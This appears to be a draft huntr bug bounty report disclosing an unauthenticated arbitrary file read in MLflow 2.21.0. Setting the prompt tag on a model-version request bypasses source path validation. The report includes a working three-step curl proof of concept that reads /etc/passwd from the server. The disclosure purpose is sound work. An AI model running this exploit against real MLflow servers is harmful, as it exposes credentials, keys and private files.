# Arbitrary File Read via Prompt Tag Source Validation Bypass in MLflow Model Registry ## meta platform: huntr program: MLflow asset: https://github.com/mlflow/mlflow date: 2026-02-12 status: DRAFT ```` Repository URL: https://github.com/mlflow/mlflow Package Manager: pip Version Affected: 2.21.0 Vulnerability Type: Path Traversal CVSS: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: None - Availability: None Title: Arbitrary file read via prompt tag source validation bypass in CreateModelVersion Description: # Description The MLflow tracking server's `CreateModelVersion` endpoint skips all source path validation when the request includes the `mlflow.prompt.is_prompt` tag. At `handlers.py:2647-2653`, the code explicitly skips both `_validate_source_run()` and `_validate_source_model()` when `is_prompt=True`: is_prompt = _is_prompt_request(request_message) if not is_prompt: if request_message.model_id: _validate_source_model(request_message.source, request_message.model_id) else: _validate_source_run(request_message.source, request_message.run_id) The prompt detection at `handlers.py:2712` is purely client-controlled — any API request can include the tag. The source comment literally reads: `# If the model version is a prompt, we don't validate the source`. The attacker-controlled `source` (e.g., `file:///etc`) is stored verbatim in the database. On artifact download via `/model-versions/get-artifact`, it becomes the `artifact_uri` for a `LocalArtifactRepository`, and `_send_artifact()` serves the file via Flask `send_file()`. **This is a new bypass vector**, distinct from prior source validation CVEs (CVE-2024-3573, CVE-2024-2928, CVE-2024-3848) which exploited URI parsing flaws. This vulnerability instead abuses the prompt feature's intentional validation skip. # Proof of Concept Requires: MLflow server running at localhost:5000 with default config (`mlflow server --host 0.0.0.0 --port 5000`). No authentication needed (default). ```bash MODEL_NAME="poc-file-read-$(date +%s)" # Step 1: Create registered model curl -s -X POST "http://localhost:5000/ajax-api/2.0/mlflow/registered-models/create" \ -H "Content-Type: application/json" \ -d "{\"name\": \"$MODEL_NAME\"}" # Step 2: Create model version with file:///etc source + prompt tag bypass curl -s -X POST "http://localhost:5000/ajax-api/2.0/mlflow/model-versions/create" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"$MODEL_NAME\", \"source\": \"file:///etc\", \"tags\": [{\"key\": \"mlflow.prompt.is_prompt\", \"value\": \"true\"}] }" # Step 3: Read /etc/passwd curl -s "http://localhost:5000/model-versions/get-artifact?name=$MODEL_NAME&version=1&path=passwd" Impact: This vulnerability is capable of allowing an unauthenticated attacker to read any file on the MLflow tracking server by creating a model version with a file:/// URI as source, bypassing all source validation via the mlflow.prompt.is_prompt tag. This exposes /etc/passwd, SSH keys, database credentials, cloud API keys, and any other file readable by the server process. Occurrences: - Permalink: https://github.com/mlflow/mlflow/blob/68096fe/mlflow/server/handlers.py#L2647-L2653 Description: When `_is_prompt_request()` returns True, both `_validate_source_run()` and `_validate_source_model()` are skipped entirely. These are the validators hardened after CVE-2024-3573/CVE-2024-2928 to reject local `file://` URIs. - Permalink: https://github.com/mlflow/mlflow/blob/68096fe/mlflow/server/handlers.py#L2712-L2713 Description: `_is_prompt_request()` simply checks if any tag has `key == IS_PROMPT_TAG_KEY`. Any API client can include this tag — no server-side verification that the request is a legitimate prompt operation. References: - https://cwe.mitre.org/data/definitions/22.html — CWE-22: Path Traversal - CVE-2024-3573 — Prior MLflow LFI via improper URI parsing (different bypass vector) - CVE-2024-2928 — Prior MLflow LFI via URI fragment directory traversal (different bypass vector) - https://owasp.org/www-community/attacks/Path_Traversal — OWASP Path Traversal ````